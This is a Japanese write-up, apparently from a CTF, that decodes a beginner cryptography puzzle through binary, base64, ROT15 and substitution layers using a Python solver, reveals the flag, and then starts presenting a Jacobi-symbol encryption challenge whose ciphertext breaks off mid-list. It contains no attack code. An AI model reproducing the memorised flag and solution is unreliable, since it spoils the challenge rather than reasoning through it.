01110110 01011001 01101001 01000010 01111000 01011001 01101101 00111001 01110010 01011010 01000011 01000010 00110011 01100010 00110010 01010010 01111001 01100101 01010111 00110100 01100111 01100011 00110010 01001101 01100111 01011010 01001000 01101011 01100111 01011010 01010111 01001110 01110110 01001001 01001000 01000010 01101001 01100010 00110010 01000110 01101100 01100010 00110011 01101000 01110100 01100001 01010011 01000010 01110010 01100101 01000111 01110100 00110010 01100001 01010111 01001110 01111010 01011001 01111010 01101111 01100111 01011010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000011 01100100 01110110 01001010 01111001 01000010 01101010 01100011 01101110 01101100 01101110 01011001 01111001 01000010 01101100 01100101 01101001 01000010 00110011 01100101 01010111 01001110 01101011 01001001 01001000 01101100 01110111 01011010 01000111 00111001 00110100 01001001 01001000 01001110 00110100 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110010 01100100 01101110 01110000 01111001 01100001 00110010 01111000 01110110 01011010 01000011 01110111 01100111 01011001 00110011 01101011 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01100100 01101010 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01010010 01111001 01100010 01111001 01000010 00110011 01100101 01010111 01001110 01101011 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01010010 01110110 01100001 01000111 01010001 01110011 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110010 00111001 01110101 01001001 01000111 01111000 01110000 01001001 01000011 01100100 01101011 01001010 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001110 00110101 01001001 01001000 01101100 00110100 01001100 01101001 01000010 01011010 01100101 01000111 00110001 01110110 01001001 01000111 01101100 00110101 01011010 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01001001 01000111 01110011 01100111 01100011 01000111 00111001 01101110 01001001 01000111 00110001 01111001 01100001 00110010 01001010 01110010 01100010 01010111 01010010 01110110 01011001 01101101 01001101 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01110100 01100001 00110011 01100111 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01001010 01110110 01011001 00110010 01010001 01100111 01100101 01011000 01000001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01100100 00110101 01011001 01101101 00110101 01101010 01001001 01000111 01111000 01110010 01011001 00110010 00111001 01110101 01001001 01001000 01101100 00110100 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01001110 01111001 01100101 01010111 01100011 01100111 01011010 01011000 01101111 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000101 00111001 00110100 01100011 01011000 01011010 01111010 01011001 00110011 01001001 01100111 01100100 01101101 01110100 00110100 01100011 01010111 01010110 01110010 01100011 01010111 00111000 01110101 01000011 01101110 01001010 01101110 01100001 01000111 00110101 00110100 01100011 00110010 01010010 01101101 01100101 01011000 01001110 01101011 01100100 01000111 01100100 01101111 01100100 01010011 01000101 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01101100 01111010 01011001 01010111 01110011 01100111 01011001 00110011 01010010 01101111 01100100 01001000 01010110 01110000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01110000 01110010 01100010 01101110 01010010 01101111 01100001 01000111 01110100 00110100 01001001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01011010 00110010 00110101 00110100 01100011 00110010 01111000 01110000 01100011 01010011 01000010 01111001 01100001 01011000 01001110 00110101 01100101 01010111 01110100 01101111 01100010 01101101 01110011 01110101 01001001 01000111 01101100 01110010 01100101 01000111 01110011 01100111 01100100 01001000 01010101 01100111 01100011 01111001 01000010 01101010 01100101 01011000 01001110 01110101 01001001 01000111 01001110 01101110 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01100111 01100011 01010111 01100100 01101101 01100101 01000011 01000010 01110000 01100011 00110011 01101000 01101100 01001001 01000111 01110100 01101010 01011001 00110010 01100100 00110100 01011010 01001000 01010101 00110110 01001001 01000111 01011010 01101011 01011001 00110011 01101100 01111010 01100010 01101110 01110011 01111010 01100001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01001101 01010100 01000010 01101111 01011000 01111010 01000101 00110001 01011000 00110011 01001001 01110111 01001101 01001000 01101100 00111001 01001100 01101001 01000010 01111000 01011010 00110010 01011001 01100111 01100100 01101110 01010010 00110101 01100101 01010011 01000010 01101010 01100100 01000111 01101000 01101100 01001001 01000111 01010010 01110000 01100011 00110010 01010001 01100111 01100011 01111001 01000010 00110101 01011010 00110010 01010001 01100111 01011010 00110010 01001101 01100111 01100011 01101110 01101000 01111000 01100010 01000111 01010010 01101110 01100010 01101110 01101000 01111010 01100010 01000111 01101100 01111000 01001001 01001000 01010010 00110001 01001001 01001000 01000010 01101101 01100100 01010111 01010001 01100111 01100101 01101101 01011010 00110000 01100101 01010111 01010110 00110000 01100001 01000111 00110100 01100111 01011010 00110010 01001110 01101010 01001001 01000111 01010010 01110000 01100100 01001000 01010101 01100111 01100100 01010111 01100100 00110100 01011010 01000011 01000010 01101110 01011001 01111001 01000010 00110110 01100011 00110011 01010110 00110000 01100011 01101001 01000010 01101001 01100001 01000111 01100100 00110010 01100101 01010111 01110100 01101100 01100010 01101101 01110011 01110011 01001001 01001000 01001110 01101111 01011010 01010011 01000010 00110000 01011010 01000011 01000010 00110100 01100001 00110011 01001110 00110101 01100101 01011000 01000101 01100111 01100100 01001000 01010101 01100111 01100001 01000111 01100100 01101011 01001001 01001000 01010110 01101110 01001001 01001000 01110000 01111010 01011010 01010011 01000010 01111010 01011001 00110010 01010010 01110010 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01110101 01001001 01000111 01101100 01101110 01100010 01000111 01110011 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01110100 01101111 01100011 01000111 01100100 01111000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01001010 01110000 01100011 00110011 01101100 00110101 01100001 00110010 01101000 01110101 01100001 01111001 01000101 00111101

どう見てもASCIIなので変換スクリプトを書いてあげると以下のようになります.

Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.)
TmV3IGNoYWxsZW5nZSEgQ2FuIHlvdSBmaWd1cmUgb3V0IHdoYXQncyBnb2luZyBvbiBoZXJlPyBJdCBsb29rcyBsaWtlIHRoZSBsZXR0ZXJzIGFyZSBzaGlmdGVkIGJ5IHNvbWUgY29uc3RhbnQuIChoaW50OiB5b3UgbWlnaHQgd2FudCB0byBzdGFydCBsb29raW5nIHVwIFJvbWFuIHBlb3BsZSkuCmt2YnNxcmQsIGl5ZSdibyBrdnd5Y2QgZHJvYm8hIFh5ZyBweWIgZHJvIHBzeGt2IChreG4gd2tpbG8gZHJvIHJrYm5vY2QuLi4pIHprYmQ6IGsgY2VsY2RzZGVkc3l4IG1zenJvYi4gU3ggZHJvIHB5dnZ5Z3N4cSBkb2hkLCBTJ2ZvIGRrdW94IHdpIHdvY2NrcW8ga3huIGJvenZrbW9uIG9mb2JpIGt2enJrbG9kc20gbXJrYmttZG9iIGdzZHIgayBteWJib2N6eXhub3htbyBkeSBrIG5zcHBvYm94ZCBtcmtia21kb2IgLSB1eHlneCBrYyBrIGNlbGNkc2RlZHN5eCBtc3pyb2IuIE1reCBpeWUgcHN4biBkcm8gcHN4a3YgcHZrcT8gcnN4ZDogR28gdXh5ZyBkcmtkIGRybyBwdmtxIHNjIHF5c3hxIGR5IGxvIHlwIGRybyBweWJ3a2QgZWRwdmtxey4uLn0gLSBncnNtciB3b2t4YyBkcmtkIHNwIGl5ZSBjb28gZHJrZCB6a2Rkb2J4LCBpeWUgdXh5ZyBncmtkIGRybyBteWJib2N6eXhub3htb2MgcHliIGUsIGQsIHAsIHYgaywga3huIHEga2JvLiBJeWUgbWt4IHpieWxrbHZpIGd5YnUgeWVkIGRybyBib3drc3hzeHEgbXJrYmttZG9iYyBsaSBib3p2a21zeHEgZHJvdyBreG4gc3hwb2Jic3hxIG15d3d5eCBneWJuYyBzeCBkcm8gT3hxdnNjciB2a3hxZWtxby4gS3h5ZHJvYiBxYm9rZCB3b2RyeW4gc2MgZHkgZWNvIHBib2Flb3htaSBreGt2aWNzYzogZ28gdXh5ZyBkcmtkICdvJyBjcnlnYyBleiB3eWNkIHlwZG94IHN4IGRybyBrdnpya2xvZCwgY3kgZHJrZCdjIHpieWxrbHZpIGRybyB3eWNkIG15d3d5eCBtcmtia21kb2Igc3ggZHJvIGRvaGQsIHB5dnZ5Z29uIGxpICdkJywga3huIGN5IHl4LiBZeG1vIGl5ZSB1eHlnIGsgcG9nIG1ya2JrbWRvYmMsIGl5ZSBta3ggc3hwb2IgZHJvIGJvY2QgeXAgZHJvIGd5Ym5jIGxrY29uIHl4IG15d3d5eCBneWJuYyBkcmtkIGNyeWcgZXogc3ggZHJvIE94cXZzY3Igdmt4cWVrcW8uCnJnaG54c2RmeXNkdGdodSEgcWdmIGlzYWsgY3RodHVpa2UgZGlrIHprbnRoaGt4IHJ4cWxkZ254c2xpcSByaXN5eWtobmsuIGlreGsgdHUgcyBjeXNuIGNneCBzeXkgcWdmeCBpc3hlIGtjY2d4ZHU6IGZkY3lzbnszaHJ4cWxkMTBoXzE1X3IwMHl9LiBxZ2YgdnR5eSBjdGhlIGRpc2QgcyB5Z2QgZ2MgcnhxbGRnbnhzbGlxIHR1IHBmdWQgemZ0eWV0aG4gZ2NjIGRpdHUgdWd4ZCBnYyB6c3V0ciBiaGd2eWtlbmssIHNoZSB0ZCB4a3N5eXEgdHUgaGdkIHVnIHpzZSBzY2RreCBzeXkuIGlnbGsgcWdmIGtocGdxa2UgZGlrIHJpc3l5a2huayE=

どう見てもbase64なので変換スクリプトを書いてあげると以下のようになります.

New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people).
kvbsqrd, iye'bo kvwycd drobo! Xyg pyb dro psxkv (kxn wkilo dro rkbnocd...) zkbd: k celcdsdedsyx mszrob. Sx dro pyvvygsxq dohd, S'fo dkuox wi wocckqo kxn bozvkmon ofobi kvzrklodsm mrkbkmdob gsdr k mybboczyxnoxmo dy k nsppoboxd mrkbkmdob - uxygx kc k celcdsdedsyx mszrob. Mkx iye psxn dro psxkv pvkq? rsxd: Go uxyg drkd dro pvkq sc qysxq dy lo yp dro pybwkd edpvkq{...} - grsmr wokxc drkd sp iye coo drkd zkddobx, iye uxyg grkd dro mybboczyxnoxmoc pyb e, d, p, v k, kxn q kbo. Iye mkx zbylklvi gybu yed dro bowksxsxq mrkbkmdobc li bozvkmsxq drow kxn sxpobbsxq mywwyx gybnc sx dro Oxqvscr vkxqekqo. Kxydrob qbokd wodryn sc dy eco pboaeoxmi kxkvicsc: go uxyg drkd 'o' crygc ez wycd ypdox sx dro kvzrklod, cy drkd'c zbylklvi dro wycd mywwyx mrkbkmdob sx dro dohd, pyvvygon li 'd', kxn cy yx. Yxmo iye uxyg k pog mrkbkmdobc, iye mkx sxpob dro bocd yp dro gybnc lkcon yx mywwyx gybnc drkd cryg ez sx dro Oxqvscr vkxqekqo.
rghnxsdfysdtghu! qgf isak cthtuike dik zknthhkx rxqldgnxsliq risyykhnk. ikxk tu s cysn cgx syy qgfx isxe kccgxdu: fdcysn{3hrxqld10h_15_r00y}. qgf vtyy cthe disd s ygd gc rxqldgnxsliq tu pfud zftyethn gcc ditu ugxd gc zsutr bhgvykenk, she td xksyyq tu hgd ug zse scdkx syy. iglk qgf khpgqke dik risyykhnk!

rot系っぽいので総当たりします.

alright, you're almost there! Xow for the final (and maybe the hardest...) part: a substitution cipher. Sn the following text, S've taken my message and replaced every alphabetic character with a correspondence to a different character - known as a substitution cipher. Man you find the final flag? hint: Ge know that the flag is going to be of the format utflagq...s - which means that if you see that pattern, you know what the correspondences for u, t, f, l a, and g are. Iou can probably work out the remaining characters by replacing them and inferring common words in the Onglish language. Knother great method is to use frequency analysis: we know that 'e' shows up most often in the alphabet, so that's probably the most common character in the text, followed by 't', and so on. Ynce you know a few characters, you can infer the rest of the words based on common words that show up in the Onglish language.

hwxdnitvoitjwxk! gwv yiqa sjxjkyau tya padjxxan hngbtwdnibyg hyiooaxda. yana jk i soid swn ioo gwvn yinu asswntk: vtsoid{3xhngbt10x_15_h00o}. gwv ljoo sjxu tyit i owt ws hngbtwdnibyg jk fvkt pvjoujxd wss tyjk kwnt ws pikjh rxwloauda, ixu jt naioog jk xwt kw piu istan ioo. ywba gwv axfwgau tya hyiooaxda!

rot15でした.

どうやら次が最終パート(換字式暗号)みたいです.
問題文では文字の出現頻度を利用して換字を推定すると良いみたいなことが書かれていますが,手作業でやると少し時間がかかるのでquipqiupを使います.

quipqiup.com

congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{3ncrypt10n_15_c00l}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!

utflag{3ncrypt10n_15_c00l}

ソルバは以下のようになっています.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64

def phase1():
    with open('./binary.txt') as f:
        b = f.read()

    b_list = b.strip().split(' ')
    b_text = []
    for x in b_list:
        b_text.append(chr(int(x,2)))

    return ''.join(b_text)

def phase2(p1_result):
    enc64_text = p1_result.split('\n')[1]
    dec64_text = base64.b64decode(enc64_text)

    return dec64_text.decode('utf-8')

def phase3(p2_result):
    enc_text = p2_result.split('\n')[1]
    dec_text = []
    for x in enc_text:
        if 97 <= ord (x) and ord(x) <= 127:
            dec_text.append(chr((ord(x) + 15 - 96) % 26 + 97))
        else:
            dec_text.append(x)

    print(''.join(dec_text))

    enc_text2 = p2_result.split('\n')[2]
    dec_text2 = []

    for x in enc_text2:
        if 97 <= ord (x) and ord(x) <= 122:
            dec_text2.append(chr((ord(x) + 15 - 96) % 26 + 97))
        else:
            dec_text2.append(x)

    return ''.join(dec_text2)

def phase4(p3_result):
    dec_dict = {'a':'e', 'b':'p', 'd':'g', 'f':'j', 'g':'y', 'h':'c', 'i':'a', 'j':'i',
                'k':'s', 'l':'w', 'n':'r', 'o':'l', 'p':'b', 'q':'v', 'r':'k', 's':'f',
                't':'t','u':'d', 'v':'u', 'w':'o', 'x':'n', 'y':'h'}

    flag = []

    for x in p3_result:
        dec_x = dec_dict.get(x)
        if dec_x is None:
            flag.append(x)
        else:
            flag.append(dec_x)

    return ''.join(flag)

if __name__ == '__main__':

    p1_result = phase1()
    print(p1_result)

    p2_result = phase2(p1_result)
    print(p2_result)

    p3_result = phase3(p2_result)

    flag = phase4(p3_result)

    print(flag)
> python solve.py
Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.)
TmV3IGNoYWxsZW5nZSEgQ2FuIHlvdSBmaWd1cmUgb3V0IHdoYXQncyBnb2luZyBvbiBoZXJlPyBJdCBsb29rcyBsaWtlIHRoZSBsZXR0ZXJzIGFyZSBzaGlmdGVkIGJ5IHNvbWUgY29uc3RhbnQuIChoaW50OiB5b3UgbWlnaHQgd2FudCB0byBzdGFydCBsb29raW5nIHVwIFJvbWFuIHBlb3BsZSkuCmt2YnNxcmQsIGl5ZSdibyBrdnd5Y2QgZHJvYm8hIFh5ZyBweWIgZHJvIHBzeGt2IChreG4gd2tpbG8gZHJvIHJrYm5vY2QuLi4pIHprYmQ6IGsgY2VsY2RzZGVkc3l4IG1zenJvYi4gU3ggZHJvIHB5dnZ5Z3N4cSBkb2hkLCBTJ2ZvIGRrdW94IHdpIHdvY2NrcW8ga3huIGJvenZrbW9uIG9mb2JpIGt2enJrbG9kc20gbXJrYmttZG9iIGdzZHIgayBteWJib2N6eXhub3htbyBkeSBrIG5zcHBvYm94ZCBtcmtia21kb2IgLSB1eHlneCBrYyBrIGNlbGNkc2RlZHN5eCBtc3pyb2IuIE1reCBpeWUgcHN4biBkcm8gcHN4a3YgcHZrcT8gcnN4ZDogR28gdXh5ZyBkcmtkIGRybyBwdmtxIHNjIHF5c3hxIGR5IGxvIHlwIGRybyBweWJ3a2QgZWRwdmtxey4uLn0gLSBncnNtciB3b2t4YyBkcmtkIHNwIGl5ZSBjb28gZHJrZCB6a2Rkb2J4LCBpeWUgdXh5ZyBncmtkIGRybyBteWJib2N6eXhub3htb2MgcHliIGUsIGQsIHAsIHYgaywga3huIHEga2JvLiBJeWUgbWt4IHpieWxrbHZpIGd5YnUgeWVkIGRybyBib3drc3hzeHEgbXJrYmttZG9iYyBsaSBib3p2a21zeHEgZHJvdyBreG4gc3hwb2Jic3hxIG15d3d5eCBneWJuYyBzeCBkcm8gT3hxdnNjciB2a3hxZWtxby4gS3h5ZHJvYiBxYm9rZCB3b2RyeW4gc2MgZHkgZWNvIHBib2Flb3htaSBreGt2aWNzYzogZ28gdXh5ZyBkcmtkICdvJyBjcnlnYyBleiB3eWNkIHlwZG94IHN4IGRybyBrdnpya2xvZCwgY3kgZHJrZCdjIHpieWxrbHZpIGRybyB3eWNkIG15d3d5eCBtcmtia21kb2Igc3ggZHJvIGRvaGQsIHB5dnZ5Z29uIGxpICdkJywga3huIGN5IHl4LiBZeG1vIGl5ZSB1eHlnIGsgcG9nIG1ya2JrbWRvYmMsIGl5ZSBta3ggc3hwb2IgZHJvIGJvY2QgeXAgZHJvIGd5Ym5jIGxrY29uIHl4IG15d3d5eCBneWJuYyBkcmtkIGNyeWcgZXogc3ggZHJvIE94cXZzY3Igdmt4cWVrcW8uCnJnaG54c2RmeXNkdGdodSEgcWdmIGlzYWsgY3RodHVpa2UgZGlrIHprbnRoaGt4IHJ4cWxkZ254c2xpcSByaXN5eWtobmsuIGlreGsgdHUgcyBjeXNuIGNneCBzeXkgcWdmeCBpc3hlIGtjY2d4ZHU6IGZkY3lzbnszaHJ4cWxkMTBoXzE1X3IwMHl9LiBxZ2YgdnR5eSBjdGhlIGRpc2QgcyB5Z2QgZ2MgcnhxbGRnbnhzbGlxIHR1IHBmdWQgemZ0eWV0aG4gZ2NjIGRpdHUgdWd4ZCBnYyB6c3V0ciBiaGd2eWtlbmssIHNoZSB0ZCB4a3N5eXEgdHUgaGdkIHVnIHpzZSBzY2RreCBzeXkuIGlnbGsgcWdmIGtocGdxa2UgZGlrIHJpc3l5a2huayE=
New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people).
kvbsqrd, iye'bo kvwycd drobo! Xyg pyb dro psxkv (kxn wkilo dro rkbnocd...) zkbd: k celcdsdedsyx mszrob. Sx dro pyvvygsxq dohd, S'fo dkuox wi wocckqo kxn bozvkmon ofobi kvzrklodsm mrkbkmdob gsdr k mybboczyxnoxmo dy k nsppoboxd mrkbkmdob - uxygx kc k celcdsdedsyx mszrob. Mkx iye psxn dro psxkv pvkq? rsxd: Go uxyg drkd dro pvkq sc qysxq dy lo yp dro pybwkd edpvkq{...} - grsmr wokxc drkd sp iye coo drkd zkddobx, iye uxyg grkd dro mybboczyxnoxmoc pyb e, d, p, v k, kxn q kbo. Iye mkx zbylklvi gybu yed dro bowksxsxq mrkbkmdobc li bozvkmsxq drow kxn sxpobbsxq mywwyx gybnc sx dro Oxqvscr vkxqekqo. Kxydrob qbokd wodryn sc dy eco pboaeoxmi kxkvicsc: go uxyg drkd 'o' crygc ez wycd ypdox sx dro kvzrklod, cy drkd'c zbylklvi dro wycd mywwyx mrkbkmdob sx dro dohd, pyvvygon li 'd', kxn cy yx. Yxmo iye uxyg k pog mrkbkmdobc, iye mkx sxpob dro bocd yp dro gybnc lkcon yx mywwyx gybnc drkd cryg ez sx dro Oxqvscr vkxqekqo.
rghnxsdfysdtghu! qgf isak cthtuike dik zknthhkx rxqldgnxsliq risyykhnk. ikxk tu s cysn cgx syy qgfx isxe kccgxdu: fdcysn{3hrxqld10h_15_r00y}. qgf vtyy cthe disd s ygd gc rxqldgnxsliq tu pfud zftyethn gcc ditu ugxd gc zsutr bhgvykenk, she td xksyyq tu hgd ug zse scdkx syy. iglk qgf khpgqke dik risyykhnk!
alright, you're almost there! Xow for the final (and maybe the hardest...) part: a substitution cipher. Sn the following text, S've taken my message and replaced every alphabetic character with a correspondence to a different character - known as a substitution cipher. Man you find the final flag? hint: Ge know that the flag is going to be of the format utflagq...s - which means that if you see that pattern, you know what the correspondences for u, t, f, l a, and g are. Iou can probably work out the remaining characters by replacing them and inferring common words in the Onglish language. Knother great method is to use frequency analysis: we know that 'e' shows up most often in the alphabet, so that's probably the most common character in the text, followed by 't', and so on. Ynce you know a few characters, you can infer the rest of the words based on common words that show up in the Onglish language.
congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{3ncrypt10n_15_c00l}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!

Jacobi's Chance Encryption (Cryptography, 750 pts, 76 solves)

Public Key: 569581432115411077780908947843367646738369018797567841
[flag.enc]

def encrypt(m, pub_key):

    bin_m = ''.join(format(ord(x), '08b') for x in m)
    n, y = pub_key

    def encrypt_bit(bit):
        x = randint(0, n)
        if bit == '1':
            return (y * pow(x, 2, n)) % n
        return pow(x, 2, n)

    return map(encrypt_bit, bin_m)
3ad3750f859c2c8fc1eb2076f876322cd17421c1cff88,0,0,0,3a46387fd709d3b4692cab59248ad3f426e9b8cd5bffe,0,2a6670878e3f48cfd5abcb7940b6df1d22650a438e905,0,5b9c517cca0d3ab82864545d1c943d8ab198650830b38,0,0,0,38e4b15d3ce5567cc7257cc8bb6b205caf2019b35f2a6,0,35bd6c7234811aef80bfee6245fbde8242b056730138a,ec3fffb29bfe1b8473bd2ea04898d3b8ae280cdd599,21498339f1250e7a6ad9d3de38ab4570cc5ae6e1abf1d,0,0,2e41759047b358d16001106dbed035c2988cc70e3465a,515d722c387c1ff1b3d82df07d9ab8d768601fd289977,0,0,5dcd5fb5ed0889a57b6d7f861465ab8bb0bacdf3c9015,3bea61e3ae79cfce65313ad0f3a5c06756718cdfe6dbc,0,0,32526a618b4a68f0f500e2c28b28657a685ef921ccb1e,0,0,2b2de511c67be3942f813642fc86ed58d3336cc545366,8b388f5ad9f9bcbfdbfd56448d31109cbda3b9a6a19e,1849b58830e2b2a4aec0f2e2402baf24e359bb2d2d597,0,0,182a15af9f447ae092b99cd4a92d3cbfa3e59b873df9d,47805e2beb12898f8ca786bf44c574e14fda72413441e,5e428ab03b0a59994e2665ab47b460c07a5c287ffa83e,c2b05078b5d5e4b4b16d63d3605e8e9168c094f9e49e,0,137e41ffaab7b673f9f66b124ec7c3d5cf6f35a6c027b,0,0,7013fd7be70e60d8466620b91322d2df1423fc3448c7,20a04d2503190d2dc212f3142954ad03b034d350705d0,0,0,0,38674cf6d907f0489eab987a92a226e696cb57756c1fd,0,0,0,0,49c93d181739024dfba0249ecdecd85d35fc2e3438c68,0,0,412b046edde3a94a3f1a0eb6e3c7239e143d0858c7579,0,0,21dc7b7db7e1f67072e1012df0f95da988984602c5040,2482d2a9798e2f818aca743ade524ad78d426787964e0,0,6481395ddbf7ff011854984fbfcdb68a4646d3d0a46c,5047bc50b4c717d50e70767b6337c0e288130689dd21d,b4c98854e437c12beb0092f5ab92e0ef03f24147bd57,0,0,3345f0bc3edf8c21b2fdf591557284f4ddcc90ec468b,0,4a34e17584c919b7dd2ba15f61a6761079590b274f236,4c4e57670dd3386e3f1d5ffb4a03e67c3cce8124fea02,0,20afc75c61bb13ecd4b8022e46ccb61430a1e9b1e3686,0,0,1c82bfae00e66d895126efa79559ce865dd3d10f48416,28afec1451036a90be5da04dbf130597fa7b5b9b96849,0,ee9fbef355f06e79fa1266786f203e67ba9ec5feebe8,350d1cefe02c55b2e53b2179bd61e5e4a8c56b0e767f7,5041e4ee83daf2e49d780330159b6cc1f0b2b04e69a1f,0,4cfbf617c552b79041891c882676111b05737f14c4427,0,0,0,0,0,49649168966fafd1ad13a557fbf288f1f334215035746,0,0,0,152e4e8604810791cffc63625c7bba32186d0b447ccc0,0,47e19816c3d743a62f8667030cf586ab9c74fe3d1e589,0,2447268356aac34514fd1a20f3ee9a5a6c68d5f9a20eb,0,21d82ba5f1dbee7b7d2a277fdf8778d979a6e6103a45c,0,0,0,0,0,3530fd4cfc21cfbe5cea85b058759768c67573b2a28a4,0,0,0,5c18b79bc7dbc03b158187afdca3e1667f20e1b44159e,417e9f2a0820298963144bbb205b9598baebeb6c952c7,d873894e2c210d5a5abecf22fb2b933bc3591bc42165,1053349f683a86ccf76667690c4e08a0a1359da67dea,30a7e917ad4a7edb8387f60a7d90bcc68b2abf1891059,0,0,1a0bb932e2d13139f649c98715952fb7986c663a6f24a,2ca00c675427fef81114c1052759a4e9313b2a4b4fe74,491769cbfb1825c85b02ac643547e0c5ffebb12a05d2,43ca5a52e5780ff99d51348f8f299c7f48b6bde7f8721,0,3dab706ec6906ee37c29cd807a7964dc95ec0d6c34968,0,0,0,0,8076cbc4fa82b9109f695e38d7fb8802c4b140238d5c,862773d42f56151c94b3c24606edaab8d12b4f38aa56,0,3d8ea2f2a54bc99dbd5a9c4a09bbeeb9f8f89f2fd4ec6,0,1a1162d8005591a6d9d255a3c64963dd6c2b5a63235ae,0,0,0,0,0,1ef1bd3f838744fb34cf07a4c4ba688a02c9fb550fea3,0,0,424d57bf5cdbe479ea7596d30348635b7017de83045af,422611e1297e811988effe0ae7973639b6fe95640feae,5925ea727f426aad4faa619c692f2040da956dde9c0b4,21b03f7303387078d1ecc723b5b9b82d864a950e8ae18,0,2acf2d1844e64941997d42f6634222cfea9bb8f1c6c3a,0,0,0,2652f587a28e0bc9fccc9266f4d4fd24dd009b311c029,0,1b018b971ad55025ce3150dfcab3f476b5a8a51e97cc9,31b3629e20a25d917acda299cee182df23e84933e1fc7,2cdecd0635ef68af1b49deba4d4c5f368290731b12955,0,0,0,59af6719c0d73625fb24c6054ddc947d9007777832bb5,0,3f51ceffcda71936ed3d49505d2e855a93f70bcf4d680,56b5003cf8674e0b50e41a7ead88b35c934c665f99eaf,1e13bf35815787e44009499c4d828e33136f4b934e8c6,0,0,1dc0e943e8bdd0afb8c769fe57b59249fd8a513f6472c,4995b3983e52801940feca4e4ad772f7f988d794808e3,0,5a4d18df6303ae5d27d730e9ec03879a9354d6ac9bb6e,0,576ff5eb2ef65e2742980cd4dcd908c92ee777792c1ba,0,0,69455d800e45b163ebabf42796fa489b37674d36e9be,0,0,0,21acac2b8223dff389be96cdc894a7a99a32599d472ce,870c33409d4bc8049b72a5ffce00f229821bcdafe053,0,0,0,52b4d9258e96c4be687f712a08c9ec9c7daba01bcd74c,0,3643b13ffb3ee5208e557abb03697468ff9ce6c5d8bf3,50ef19f0f625bb8e3ab2915201bcf9ae0b40656bbee49,1056670d4c3ea98038f8ecd74440033aeff3064a2e005,0,0,22698fa2d377aee3f2a63c288f17fe2d1061b61b62b94,0,26faa98d38033cfb0653b447d8a7f268f68ab8e51f252,1f5b0997e693c897caec45f5ea38cb24b4ddd27422fec,0,4bb0e445302f5b28ee3e7b36a93dd2e8d12eaa3119772,0,0,4d42df71d8e24a1424eed881c1302f6c21114b1ba84f4,0,0,0,0,312607440a6ec3fdb8401d1db690de41dfeae70cfaefe,0,0,3f620fe471b5b59218c1e554fffc64066e576e09c9b6,0,0,0,23cd34716eaa5762d59728699783cb51d8f87525ab2c8,27f24f062089f67afac376186335fbbd6da4ab6803bf1,0,27811be1b34c349949a7d7de701438ace3f22ab3857b4,0,0,0,0,0,c2937375f4db8464dc81875295ff47d897b749572cb0,0,0,1a2425e6231a8b2dfd59b171ac2fa39a54c1c5f2bc18c,0,4601f4a99029129f673dae90c2b8f08ac77c9acb2b67a,2ce224a2c3f3927658c98890201c41e1485ab81773447,0,17f9f932dbb1f2aa279be9b5751d3e461ea97b79fec18,0,0,467cd79faa40ffef1f69490c3205efef24847eb95c313,0,0,0,931f3df14edaf21ebfc1243b1bb065fa128d6f112f10,30671798eb74ea9593b5dd38710f672d25a48d5cab263,0,1e39d859b972edb5f25c0fc197137e89892361ed6c919,0,0,0,0,0,fb0da1dfe3749d91d7260425b08f23b35d22b4a60512,0,0,61718b9028558be04f9af538877bd5fea45000351480,0,0,0,5a225a78daed3e0a2ca3b09629d2e98d37e0ecb48806c,12862b5946fef0d125e0a24fadb0ea567f40b37c8f984,0,0,0,206ecdbbd50a6800ab5bc293b47c2c784bac7578a8ba5,0,481528aa7c00de41818b4a24ebddefa48533dc43a678d,0,4d09c1ead0061318a6410214fbe0b0ccc72056835583d,0,0,45c40da5f6ed58e0851f635117d8162094814d4a10f6e,0,0,49d96e0bcf458bf606c812d4c3c9a7a3b8b4cb41482ef,0,2a0381519bd15dfce996317d3582f858eaa4a0ec0d5e1,0,0,2c1051612093e8e2149f4e2b9b71fc08bf2b1830d7b0b,486bd7ef1b04a2b282d6232e33b6bc72aeb7e971c1238,1c6afa8a2da6e0ea764fd4e0d8a7866111e1afc80ca3e,0,208090933fe494e5e2866f08875a43c0bad38e2138513,406221453e74594ff0a78ad722752655387ac5d17361,0,0,5ebf43af7a6387ee9